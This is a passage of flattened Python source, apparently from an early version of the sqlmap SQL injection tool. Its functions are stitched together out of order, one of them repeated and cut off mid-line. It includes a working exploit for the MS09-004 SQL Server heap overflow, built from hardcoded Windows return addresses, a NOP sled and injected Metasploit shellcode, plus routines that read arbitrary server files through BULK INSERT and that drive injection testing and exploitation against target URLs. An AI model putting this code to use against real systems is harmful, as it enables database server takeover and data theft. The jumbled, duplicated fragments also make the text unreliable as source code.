value if PLACE.URI in conf.parameters: uri = conf.url if place != PLACE.URI or not value else value else: uri = conf.url if timeBasedCompare: if len(kb.responseTimes) < MIN_TIME_RESPONSES: clearConsoleLine() warnMsg = "time-based comparison needs larger statistical " warnMsg += "model. Making a few dummy requests, please wait.." logger.warn(warnMsg) while len(kb.responseTimes) < MIN_TIME_RESPONSES: Connect.queryPage(content=True) if conf.safUrl and conf.saFreq > 0: kb.queryCounter += 1 if kb.queryCounter % conf.saFreq == 0: Connect.getPage(url=conf.safUrl, cookie=cookie, direct=True, silent=True, ua=ua, referer=referer) start = time.time() if kb.nullConnection and not content and not response and not timeBasedCompare: if kb.nullConnection == NULLCONNECTION.HEAD: method = HTTPMETHOD.HEAD elif kb.nullConnection == NULLCONNECTION.RANGE: if not auxHeaders: auxHeaders = {} auxHeaders[HTTPHEADER.RANGE] = "bytes=-1" _, headers = Connect.getPage(url=uri, get=get, post=post, cookie=cookie, ua=ua, referer=referer, silent=silent, method=method, auxHeaders=auxHeaders, raise404=raise404) if kb.nullConnection == NULLCONNECTION.HEAD and HTTPHEADER.CONTENT_LENGTH in headers: pageLength = int(headers[HTTPHEADER.CONTENT_LENGTH]) elif kb.nullConnection == NULLCONNECTION.RANGE and HTTPHEADER.CONTENT_RANGE in headers: pageLength = int(headers[HTTPHEADER.CONTENT_RANGE] [headers[HTTPHEADER.CONTENT_RANGE].find('/') + 1:]) if not pageLength: page, headers = Connect.getPage(url=uri, get=get, post=post, cookie=cookie, ua=ua, referer=referer, silent=silent, method=method, auxHeaders=auxHeaders, response=response, raise404=raise404, ignoreTimeout=timeBasedCompare) threadData.lastQueryDuration = calculateDeltaSeconds(start) if kb.testMode: kb.testQueryCount += 1 if conf.cj: conf.cj.clear() if timeBasedCompare: return wasLastRequestDelayed() elif noteResponseTime: kb.responseTimes.append(threadData.lastQueryDuration) if content or response: return page, headers page = removeReflectiveValues(page, payload) if getRatioValue: return comparison(page, getRatioValue=False, pageLength=pageLength), comparison( page, getRatioValue=True, pageLength=pageLength) elif pageLength or page: return comparison(page, getRatioValue, pageLength) else: return False
def start(): """ This function calls a function that performs checks on both URL stability and all GET, POST, Cookie and User-Agent parameters to check if they are dynamic and SQL injection affected """ if not conf.start: return False if conf.direct: initTargetEnv() setupTargetEnv() action() return True if conf.url and not any([conf.forms, conf.crawlDepth]): kb.targetUrls.add((conf.url, conf.method, conf.data, conf.cookie)) if conf.configFile and not kb.targetUrls: errMsg = "you did not edit the configuration file properly, set " errMsg += "the target url, list of targets or google dork" logger.error(errMsg) return False if kb.targetUrls and len(kb.targetUrls) > 1: infoMsg = "sqlmap got a total of %d targets" % len(kb.targetUrls) logger.info(infoMsg) hostCount = 0 cookieStr = "" for targetUrl, targetMethod, targetData, targetCookie in kb.targetUrls: try: conf.url = targetUrl conf.method = targetMethod conf.data = targetData conf.cookie = targetCookie initTargetEnv() parseTargetUrl() testSqlInj = False if PLACE.GET in conf.parameters and not any( [conf.data, conf.testParameter]): for parameter in re.findall( r"([^=]+)=([^%s]+%s?|\Z)" % (conf.pDel or ";", conf.pDel or ";"), conf.parameters[PLACE.GET]): paramKey = (conf.hostname, conf.path, PLACE.GET, parameter[0]) if paramKey not in kb.testedParams: testSqlInj = True break else: paramKey = (conf.hostname, conf.path, None, None) if paramKey not in kb.testedParams: testSqlInj = True testSqlInj &= (conf.hostname, conf.path, None, None) not in kb.testedParams if not testSqlInj: infoMsg = "skipping '%s'" % targetUrl logger.info(infoMsg) continue if conf.multipleTargets: hostCount += 1 if conf.forms: message = "[#%d] form:\n%s %s" % ( hostCount, conf.method or HTTPMETHOD.GET, targetUrl) else: message = "url %d:\n%s %s%s" % ( hostCount, conf.method or HTTPMETHOD.GET, targetUrl, " (PageRank: %s)" % get_pagerank(targetUrl) if conf.googleDork and conf.pageRank else "") if conf.cookie: message += "\nCookie: %s" % conf.cookie if conf.data: message += "\nPOST data: %s" % urlencode( conf.data) if conf.data else "" if conf.forms: if conf.method == HTTPMETHOD.GET and targetUrl.find( "?") == -1: continue message += "\ndo you want to test this form? [Y/n/q] " test = readInput(message, default="Y") if not test or test[0] in ("y", "Y"): if conf.method == HTTPMETHOD.POST: message = "Edit POST data [default: %s]%s: " % ( urlencode(conf.data) if conf.data else "None", " (Warning: blank fields detected)" if conf.data and extractRegexResult( EMPTY_FORM_FIELDS_REGEX, conf.data) else "") conf.data = readInput(message, default=conf.data) conf.data = __randomFillBlankFields(conf.data) conf.data = urldecode( conf.data) if conf.data and urlencode( DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data elif conf.method == HTTPMETHOD.GET: if targetUrl.find("?") > -1: firstPart = targetUrl[:targetUrl.find("?")] secondPart = targetUrl[targetUrl.find("?") + 1:] message = "Edit GET data [default: %s]: " % secondPart test = readInput(message, default=secondPart) test = __randomFillBlankFields(test) conf.url = "%s?%s" % (firstPart, test) parseTargetUrl() elif test[0] in ("n", "N"): continue elif test[0] in ("q", "Q"): break elif conf.realTest: logger.info(message) else: message += "\ndo you want to test this url? [Y/n/q]" test = readInput(message, default="Y") if not test or test[0] in ("y", "Y"): pass elif test[0] in ("n", "N"): continue elif test[0] in ("q", "Q"): break infoMsg = "testing url %s" % targetUrl logger.info(infoMsg) setupTargetEnv() if not checkConnection(suppressOutput=conf.forms ) or not checkString() or not checkRegexp(): continue if conf.checkWaf: checkWaf() if conf.nullConnection: checkNullConnection() if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) \ and (kb.injection.place is None or kb.injection.parameter is None): if not conf.string and not conf.regexp and PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech: # NOTE: this is not needed anymore, leaving only to display # a warning message to the user in case the page is not stable checkStability() # Do a little prioritization reorder of a testable parameter list parameters = conf.parameters.keys() # Order of testing list (last to first) orderList = (PLACE.URI, PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST) for place in orderList: if place in parameters: parameters.remove(place) parameters.insert(0, place) proceed = True for place in parameters: # Test User-Agent and Referer headers only if # --level >= 3 skip = (place == PLACE.UA and conf.level < 3) skip |= (place == PLACE.REFERER and conf.level < 3) # Test Host header only if # --level >= 5 skip |= (place == PLACE.HOST and conf.level < 5) # Test Cookie header only if --level >= 2 skip |= (place == PLACE.COOKIE and conf.level < 2) skip |= (place == PLACE.UA and intersect( USER_AGENT_ALIASES, conf.skip, True) not in ([], None)) skip |= (place == PLACE.REFERER and intersect( REFERER_ALIASES, conf.skip, True) not in ([], None)) skip |= (place == PLACE.COOKIE and intersect( PLACE.COOKIE, conf.skip, True) not in ([], None)) skip &= not (place == PLACE.UA and intersect( USER_AGENT_ALIASES, conf.testParameter, True)) skip &= not (place == PLACE.REFERER and intersect( REFERER_ALIASES, conf.testParameter, True)) skip &= not (place == PLACE.HOST and intersect( HOST_ALIASES, conf.testParameter, True)) if skip: continue if not conf.paramDict.has_key(place): continue paramDict = conf.paramDict[place] for parameter, value in paramDict.items(): if not proceed: break kb.vainRun = False testSqlInj = True paramKey = (conf.hostname, conf.path, place, parameter) if paramKey in kb.testedParams: testSqlInj = False infoMsg = "skipping previously processed %s parameter '%s'" % ( place, parameter) logger.info(infoMsg) elif parameter in conf.testParameter: pass elif parameter == conf.rParam: testSqlInj = False infoMsg = "skipping randomizing %s parameter '%s'" % ( place, parameter) logger.info(infoMsg) elif parameter in conf.skip: testSqlInj = False infoMsg = "skipping %s parameter '%s'" % ( place, parameter) logger.info(infoMsg) # Ignore session-like parameters for --level < 4 elif conf.level < 4 and parameter.upper( ) in IGNORE_PARAMETERS: testSqlInj = False infoMsg = "ignoring %s parameter '%s'" % ( place, parameter) logger.info(infoMsg) elif conf.realTest: pass elif PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech: if not checkDynParam(place, parameter, value): warnMsg = "%s parameter '%s' appears to be not dynamic" % ( place, parameter) logger.warn(warnMsg) else: infoMsg = "%s parameter '%s' is dynamic" % ( place, parameter) logger.info(infoMsg) kb.testedParams.add(paramKey) if testSqlInj: check = heuristicCheckSqlInjection( place, parameter) if not check: if conf.smart or conf.realTest and not simpletonCheckSqlInjection( place, parameter, value): infoMsg = "skipping %s parameter '%s'" % ( place, parameter) logger.info(infoMsg) continue infoMsg = "testing for SQL injection on %s " % place infoMsg += "parameter '%s'" % parameter logger.info(infoMsg) injection = checkSqlInjection( place, parameter, value) proceed = not kb.endDetection if injection is not None and injection.place is not None: kb.injections.append(injection) # In case when user wants to end detection phase (Ctrl+C) if not proceed: break msg = "%s parameter '%s' " % ( injection.place, injection.parameter) msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] " test = readInput(msg, default="N") if test[0] not in ("y", "Y"): proceed = False paramKey = (conf.hostname, conf.path, None, None) kb.testedParams.add(paramKey) else: warnMsg = "%s parameter '%s' is not " % ( place, parameter) warnMsg += "injectable" logger.warn(warnMsg) if len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None): if kb.vainRun and not conf.multipleTargets: errMsg = "no parameter(s) found for testing in the provided data " errMsg += "(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')" raise sqlmapNoneDataException, errMsg elif not conf.realTest: errMsg = "all parameters appear to be not injectable." if conf.level < 5 or conf.risk < 3: errMsg += " Try to increase --level/--risk values " errMsg += "to perform more tests." if isinstance(conf.tech, list) and len(conf.tech) < 5: errMsg += " Rerun without providing the option '--technique'." if not conf.textOnly and kb.originalPage: percent = ( 100.0 * len(getFilteredPageContent(kb.originalPage)) / len(kb.originalPage)) if kb.dynamicParameters: errMsg += " You can give it a go with the --text-only " errMsg += "switch if the target page has a low percentage " errMsg += "of textual content (~%.2f%% of " % percent errMsg += "page content is text)." elif percent < LOW_TEXT_PERCENT and not kb.errorIsNone: errMsg += " Please retry with the --text-only switch " errMsg += "(along with --technique=BU) as this case " errMsg += "looks like a perfect candidate " errMsg += "(low textual content along with inability " errMsg += "of comparison engine to detect at least " errMsg += "one dynamic parameter)." if kb.heuristicTest: errMsg += " As heuristic test turned out positive you are " errMsg += "strongly advised to continue on with the tests. " errMsg += "Please, consider usage of tampering scripts as " errMsg += "your target might filter the queries." if not conf.string and not conf.regexp: errMsg += " Also, you can try to rerun by providing " errMsg += "either a valid --string " errMsg += "or a valid --regexp, refer to the user's " errMsg += "manual for details" elif conf.string: errMsg += " Also, you can try to rerun by providing a " errMsg += "valid --string as perhaps the string you " errMsg += "have choosen does not match " errMsg += "exclusively True responses" elif conf.regexp: errMsg += " Also, you can try to rerun by providing a " errMsg += "valid --regexp as perhaps the regular " errMsg += "expression that you have choosen " errMsg += "does not match exclusively True responses" raise sqlmapNotVulnerableException, errMsg else: errMsg = "it seems that all parameters are not injectable" raise sqlmapNotVulnerableException, errMsg else: # Flush the flag kb.testMode = False __saveToResultsFile() __saveToHashDB() __showInjections() __selectInjection() if kb.injection.place is not None and kb.injection.parameter is not None: if kb.testQueryCount == 0 and conf.realTest: condition = False elif conf.multipleTargets: message = "do you want to exploit this SQL injection? [Y/n] " exploit = readInput(message, default="Y") condition = not exploit or exploit[0] in ("y", "Y") else: condition = True if condition: action() except KeyboardInterrupt: if conf.multipleTargets: warnMsg = "user aborted in multiple target mode" logger.warn(warnMsg) message = "do you want to skip to the next target in list? [Y/n/q]" test = readInput(message, default="Y") if not test or test[0] in ("y", "Y"): pass elif test[0] in ("n", "N"): return False elif test[0] in ("q", "Q"): raise sqlmapUserQuitException else: raise except sqlmapUserQuitException: raise except sqlmapSilentQuitException: raise except exceptionsTuple, e: e = getUnicode(e) if conf.multipleTargets: e += ", skipping to the next %s" % ("form" if conf.forms else "url") logger.error(e) else: logger.critical(e) return False finally:
def spHeapOverflow(self): """ References: * http://www.microsoft.com/technet/security/bulletin/MS09-004.mspx * http://support.microsoft.com/kb/959420 """ returns = { # 2003 Service Pack 0 "2003-0": (""), # 2003 Service Pack 1 "2003-1": ("CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)", "CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)" ), # 2003 Service Pack 2 updated at 12/2008 #"2003-2": ("CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)" ), # 2003 Service Pack 2 updated at 05/2009 "2003-2": ("CHAR(0xc3)+CHAR(0xdb)+CHAR(0x67)+CHAR(0x77)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x47)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)") # 2003 Service Pack 2 updated at 09/2009 #"2003-2": ("CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)", "CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)"), } addrs = None for versionSp, data in returns.items(): version, sp = versionSp.split("-") sp = int(sp) if kb.osVersion == version and kb.osSP == sp: addrs = data break if addrs is None: errMsg = "sqlmap can not exploit the stored procedure buffer " errMsg += "overflow because it does not have a valid return " errMsg += "code for the underlying operating system (Windows " errMsg += "%s Service Pack %d)" % (kb.osVersion, kb.osSP) raise sqlmapUnsupportedFeatureException(errMsg) shellcodeChar = "" hexStr = binascii.hexlify(self.shellcodeString[:-1]) for hexPair in range(0, len(hexStr), 2): shellcodeChar += "CHAR(0x%s)+" % hexStr[hexPair:hexPair+2] shellcodeChar = shellcodeChar[:-1] self.spExploit = """ DECLARE @buf NVARCHAR(4000), @val NVARCHAR(4), @counter INT SET @buf = ' DECLARE @retcode int, @end_offset int, @vb_buffer varbinary, @vb_bufferlen int EXEC master.dbo.sp_replwritetovarbin 347, @end_offset output, @vb_buffer output, @vb_bufferlen output,''' SET @val = CHAR(0x41) SET @counter = 0 WHILE @counter < 3320 BEGIN SET @counter = @counter + 1 IF @counter = 411 BEGIN /* pointer to call [ecx+8] */ SET @buf = @buf + %s /* push ebp, pop esp, ret 4 */ SET @buf = @buf + %s /* push ecx, pop esp, pop ebp, retn 8 */ SET @buf = @buf + %s /* Garbage */ SET @buf = @buf + CHAR(0x51)+CHAR(0x51)+CHAR(0x51)+CHAR(0x51) /* retn 1c */ SET @buf = @buf + %s /* retn 1c */ SET @buf = @buf + %s /* anti DEP */ SET @buf = @buf + %s /* jmp esp */ SET @buf = @buf + %s /* jmp esp */ SET @buf = @buf + %s SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) set @buf = @buf + CHAR(0x64)+CHAR(0x8B)+CHAR(0x25)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00) set @buf = @buf + CHAR(0x8B)+CHAR(0xEC) set @buf = @buf + CHAR(0x83)+CHAR(0xEC)+CHAR(0x20) /* Metasploit shellcode */ SET @buf = @buf + %s SET @buf = @buf + CHAR(0x6a)+CHAR(0x00)+char(0xc3) SET @counter = @counter + 302 SET @val = CHAR(0x43) CONTINUE END SET @buf = @buf + @val END SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41''' EXEC master..sp_executesql @buf """ % (addrs[0], addrs[1], addrs[2], addrs[3], addrs[4], addrs[5], addrs[6], addrs[7], shellcodeChar) self.spExploit = self.spExploit.replace(" ", "").replace("\n", " ") self.spExploit = urlencode(self.spExploit, convall=True) logger.info("triggering the buffer overflow vulnerability, wait..") inject.goStacked(self.spExploit, silent=True)
def getPage(**kwargs): """ This method connects to the target url or proxy and returns the target url page content """ if conf.delay is not None and isinstance( conf.delay, (int, float)) and conf.delay > 0: time.sleep(conf.delay) elif conf.cpuThrottle: cpuThrottle(conf.cpuThrottle) threadData = getCurrentThreadData() threadData.lastRequestUID += 1 # dirty hack because urllib2 just skips the other part of provided url # splitted with space char while urlencoding it in the later phase url = kwargs.get('url', conf.url).replace(" ", "%20") get = kwargs.get('get', None) post = kwargs.get('post', None) method = kwargs.get('method', None) cookie = kwargs.get('cookie', None) ua = kwargs.get('ua', None) referer = kwargs.get('referer', None) direct = kwargs.get('direct', False) multipart = kwargs.get('multipart', False) silent = kwargs.get('silent', False) raise404 = kwargs.get('raise404', True) auxHeaders = kwargs.get('auxHeaders', None) response = kwargs.get('response', False) ignoreTimeout = kwargs.get('ignoreTimeout', False) refreshing = kwargs.get('refreshing', False) page = "" cookieStr = "" requestMsg = "HTTP request [#%d]:\n%s " % (threadData.lastRequestUID, conf.method) requestMsg += "%s" % urlparse.urlsplit(url)[2] or "/" responseMsg = "HTTP response " requestHeaders = "" responseHeaders = None logHeaders = "" try: if silent: socket.setdefaulttimeout(HTTP_SILENT_TIMEOUT) if direct: if "?" in url: url, params = url.split("?") params = urlencode(params) url = "%s?%s" % (url, params) requestMsg += "?%s" % params elif multipart: # Needed in this form because of potential circle dependency # problem (option -> update -> connect -> option) from lib.core.option import proxyHandler multipartOpener = urllib2.build_opener( proxyHandler, multipartpost.MultipartPostHandler) conn = multipartOpener.open(url, multipart) page = conn.read() responseHeaders = conn.info() responseHeaders[URI_HTTP_HEADER] = conn.geturl() page = decodePage( page, responseHeaders.get(HTTPHEADER.CONTENT_ENCODING), responseHeaders.get(HTTPHEADER.CONTENT_TYPE)) return page elif refreshing: # Reference(s): # http://vancouver-webpages.com/META/metatags.detail.html # http://webdesign.about.com/od/metataglibraries/a/aa080300a.htm get = None post = None else: if conf.parameters.has_key(PLACE.GET) and not get: get = conf.parameters[PLACE.GET] if get: url = "%s?%s" % (url, get) requestMsg += "?%s" % get if conf.method == HTTPMETHOD.POST: if conf.parameters.has_key(PLACE.POST) and not post: post = conf.parameters[PLACE.POST] requestMsg += " %s" % httplib.HTTPConnection._http_vsn_str # Perform HTTP request headers = forgeHeaders(cookie, ua, referer) if conf.realTest: headers[HTTPHEADER.REFERER] = "%s://%s" % (conf.scheme, conf.hostname) if kb.authHeader: headers[HTTPHEADER.AUTHORIZATION] = kb.authHeader if kb.proxyAuthHeader: headers[HTTPHEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader if auxHeaders: for key, item in auxHeaders.items(): headers[key] = item for key, item in headers.items(): del headers[key] headers[encodeUnicode(key, kb.pageEncoding)] = encodeUnicode( item, kb.pageEncoding) post = encodeUnicode(post, kb.pageEncoding) if method: req = MethodRequest(url, post, headers) req.set_method(method) else: req = urllib2.Request(url, post, headers) if not conf.dropSetCookie and conf.cj: for _, cookie in enumerate(conf.cj): if not cookieStr: cookieStr = "Cookie: " cookie = getUnicode(cookie) index = cookie.index(" for ") cookieStr += "%s; " % cookie[8:index] if not req.has_header(HTTPHEADER.ACCEPT_ENCODING): requestHeaders += "%s: identity\n" % HTTPHEADER.ACCEPT_ENCODING requestHeaders += "\n".join([ "%s: %s" % (header, value) for header, value in req.header_items() ]) if not req.has_header(HTTPHEADER.COOKIE) and cookieStr: requestHeaders += "\n%s" % cookieStr[:-2] if not req.has_header(HTTPHEADER.CONNECTION): requestHeaders += "\n%s: close" % HTTPHEADER.CONNECTION requestMsg += "\n%s" % requestHeaders if post: requestMsg += "\n\n%s" % post requestMsg += "\n" logger.log(8, requestMsg) conn = urllib2.urlopen(req) if not kb.authHeader and req.has_header(HTTPHEADER.AUTHORIZATION): kb.authHeader = req.get_header(HTTPHEADER.AUTHORIZATION) if not kb.proxyAuthHeader and req.has_header( HTTPHEADER.PROXY_AUTHORIZATION): kb.proxyAuthHeader = req.get_header( HTTPHEADER.PROXY_AUTHORIZATION) if hasattr(conn, "setcookie"): kb.redirectSetCookie = conn.setcookie if hasattr(conn, "redurl") and hasattr( conn, "redcode" ) and not conf.redirectHandled and not conf.realTest: msg = "sqlmap got a %d redirect to " % conn.redcode msg += "%s - What target address do you " % conn.redurl msg += "want to use from now on? %s " % conf.url msg += "(default) or provide another target address based " msg += "also on the redirection got from the application\n" while True: choice = readInput(msg, default=None) if not choice: pass else: conf.url = choice try: parseTargetUrl() return Connect.__getPageProxy(**kwargs) except sqlmapSyntaxException: continue break conf.redirectHandled = True # Reset the number of connection retries kb.retriesCount = 0 # Return response object if response: return conn, None # Get HTTP response page = conn.read() code = conn.code responseHeaders = conn.info() responseHeaders[URI_HTTP_HEADER] = conn.geturl() page = decodePage(page, responseHeaders.get(HTTPHEADER.CONTENT_ENCODING), responseHeaders.get(HTTPHEADER.CONTENT_TYPE)) status = getUnicode(conn.msg) if extractRegexResult(META_REFRESH_REGEX, page, re.DOTALL | re.IGNORECASE) and not refreshing: url = extractRegexResult(META_REFRESH_REGEX, page, re.DOTALL | re.IGNORECASE) if url.lower().startswith('http://'): kwargs['url'] = url else: kwargs['url'] = conf.url[:conf.url.rfind('/') + 1] + url threadData.lastRedirectMsg = (threadData.lastRequestUID, page) kwargs['refreshing'] = True debugMsg = "got HTML meta refresh header" logger.debug(debugMsg) try: return Connect.__getPageProxy(**kwargs) except sqlmapSyntaxException: pass # Explicit closing of connection object if not conf.keepAlive: try: conn.fp._sock.close() conn.close() except Exception, msg: warnMsg = "problem occured during connection closing ('%s')" % msg logger.warn(warnMsg) except urllib2.HTTPError, e: page = None responseHeaders = None try: page = e.read() responseHeaders = e.info() responseHeaders[URI_HTTP_HEADER] = e.geturl() page = decodePage( page, responseHeaders.get(HTTPHEADER.CONTENT_ENCODING), responseHeaders.get(HTTPHEADER.CONTENT_TYPE)) except socket.timeout: warnMsg = "connection timed out while trying " warnMsg += "to get error page information (%d)" % e.code logger.warn(warnMsg) return None, None except: pass code = e.code threadData.lastHTTPError = (threadData.lastRequestUID, code) if code not in kb.httpErrorCodes: kb.httpErrorCodes[code] = 0 kb.httpErrorCodes[code] += 1 status = getUnicode(e.msg) responseMsg += "[#%d] (%d %s):\n" % (threadData.lastRequestUID, code, status) if responseHeaders: logHeaders = "\n".join([ "%s: %s" % (key.capitalize() if isinstance(key, basestring) else key, getUnicode(value)) for (key, value) in responseHeaders.items() ]) logHTTPTraffic( requestMsg, "%s%s\n\n%s" % (responseMsg, logHeaders, page if isinstance(page, unicode) else getUnicode(page))) if conf.verbose <= 5: responseMsg += getUnicode(logHeaders) elif conf.verbose > 5: responseMsg += "%s\n\n%s\n" % (logHeaders, page) logger.log(7, responseMsg) if e.code == 401: errMsg = "not authorized, try to provide right HTTP " errMsg += "authentication type and valid credentials (%d)" % code raise sqlmapConnectionException, errMsg elif e.code == 404 and raise404: errMsg = "page not found (%d)" % code raise sqlmapConnectionException, errMsg else: debugMsg = "got HTTP error code: %d (%s)" % (code, status) logger.debug(debugMsg) page = processResponse(page, responseHeaders) return page, responseHeaders
def stackedReadFile(self, rFile): infoMsg = "fetching file: '%s'" % rFile logger.info(infoMsg) result = [] txtTbl = self.fileTblName hexTbl = "%shex" % self.fileTblName self.createSupportTbl(txtTbl, self.tblField, "text") inject.goStacked("DROP TABLE %s" % hexTbl) inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)")) logger.debug("loading the content of file '%s' into support table" % rFile) inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, rFile, randomStr(10), randomStr(10)), silent=True) # Reference: http://support.microsoft.com/kb/104829 binToHexQuery = """ DECLARE @charset VARCHAR(16) DECLARE @counter INT DECLARE @hexstr VARCHAR(4096) DECLARE @length INT DECLARE @chunk INT SET @charset = '0123456789ABCDEF' SET @counter = 1 SET @hexstr = '' SET @length = (SELECT DATALENGTH(%s) FROM %s) SET @chunk = 1024 WHILE (@counter <= @length) BEGIN DECLARE @tempint INT DECLARE @firstint INT DECLARE @secondint INT SET @tempint = CONVERT(INT, (SELECT ASCII(SUBSTRING(%s, @counter, 1)) FROM %s)) SET @firstint = floor(@tempint/16) SET @secondint = @tempint - (@firstint * 16) SET @hexstr = @hexstr + SUBSTRING(@charset, @firstint+1, 1) + SUBSTRING(@charset, @secondint+1, 1) SET @counter = @counter + 1 IF @counter %% @chunk = 0 BEGIN INSERT INTO %s(%s) VALUES(@hexstr) SET @hexstr = '' END END IF @counter %% (@chunk) != 0 BEGIN INSERT INTO %s(%s) VALUES(@hexstr) END """ % (self.tblField, txtTbl, self.tblField, txtTbl, hexTbl, self.tblField, hexTbl, self.tblField) binToHexQuery = binToHexQuery.replace(" ", "").replace("\n", " ") binToHexQuery = urlencode(binToHexQuery, convall=True) inject.goStacked(binToHexQuery) if kb.unionPosition: result = inject.getValue("SELECT %s FROM %s ORDER BY id ASC" % (self.tblField, hexTbl), sort=False, resumeValue=False, blind=False) if not result: result = [] count = inject.getValue("SELECT COUNT(%s) FROM %s" % (self.tblField, hexTbl), resumeValue=False, charsetType=2) if not count.isdigit() or not len(count) or count == "0": errMsg = "unable to retrieve the content of the " errMsg += "file '%s'" % rFile raise sqlmapNoneDataException(errMsg) indexRange = getRange(count) for index in indexRange: chunk = inject.getValue("SELECT TOP 1 %s FROM %s WHERE %s NOT IN (SELECT TOP %d %s FROM %s ORDER BY id ASC) ORDER BY id ASC" % (self.tblField, hexTbl, self.tblField, index, self.tblField, hexTbl), unpack=False, resumeValue=False, sort=False, charsetType=3) result.append(chunk) inject.goStacked("DROP TABLE %s" % hexTbl) return result
def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None): """ This method calls a function to get the target url page content and returns its page MD5 hash or a boolean value in case of string match check ('--string' command line parameter) """ if conf.direct: return direct(value, content) get = None post = None cookie = None ua = None referer = None page = None pageLength = None uri = None raise404 = place != PLACE.URI if raise404 is None else raise404 if not place: place = kb.injection.place payload = agent.extractPayload(value) threadData = getCurrentThreadData() if payload: if kb.tamperFunctions: for function in kb.tamperFunctions: payload = function(payload) value = agent.replacePayload(value, payload) logger.log(9, payload) if place == PLACE.COOKIE and conf.cookieUrlencode: value = agent.removePayloadDelimiters(value) value = urlEncodeCookieValues(value) elif place: if place in (PLACE.GET, PLACE.POST): # payloads in GET and/or POST need to be urlencoded # throughly without safe chars (especially & and =) # addendum: as we support url encoding in tampering # functions therefore we need to use % as a safe char payload = urlencode(payload, "%", False, True) value = agent.replacePayload(value, payload) value = agent.removePayloadDelimiters(value) if conf.checkPayload: checkPayload(value) if PLACE.GET in conf.parameters: get = urlencode(conf.parameters[PLACE.GET] if place != PLACE.GET or not value else value, limit=True) if PLACE.POST in conf.parameters: post = urlencode(conf.parameters[PLACE.POST] if place != PLACE.POST or not value else value) if PLACE.COOKIE in conf.parameters: cookie = conf.parameters[PLACE.COOKIE] if place != PLACE.COOKIE or not value else value if PLACE.UA in conf.parameters: ua = conf.parameters[PLACE.UA] if place != PLACE.UA or not value else value if PLACE.REFERER in conf.parameters: referer = conf.parameters[PLACE.REFERER] if place != PLACE.REFERER or not value else value if PLACE.URI in conf.parameters: uri = conf.url if place != PLACE.URI or not value else value else: uri = conf.url if timeBasedCompare: if len(kb.responseTimes) < MIN_TIME_RESPONSES: clearConsoleLine() warnMsg = "time-based comparison needs larger statistical " warnMsg += "model. Making a few dummy requests, please wait.." logger.warn(warnMsg) while len(kb.responseTimes) < MIN_TIME_RESPONSES: Connect.queryPage(content=True) if conf.safUrl and conf.saFreq > 0: kb.queryCounter += 1 if kb.queryCounter % 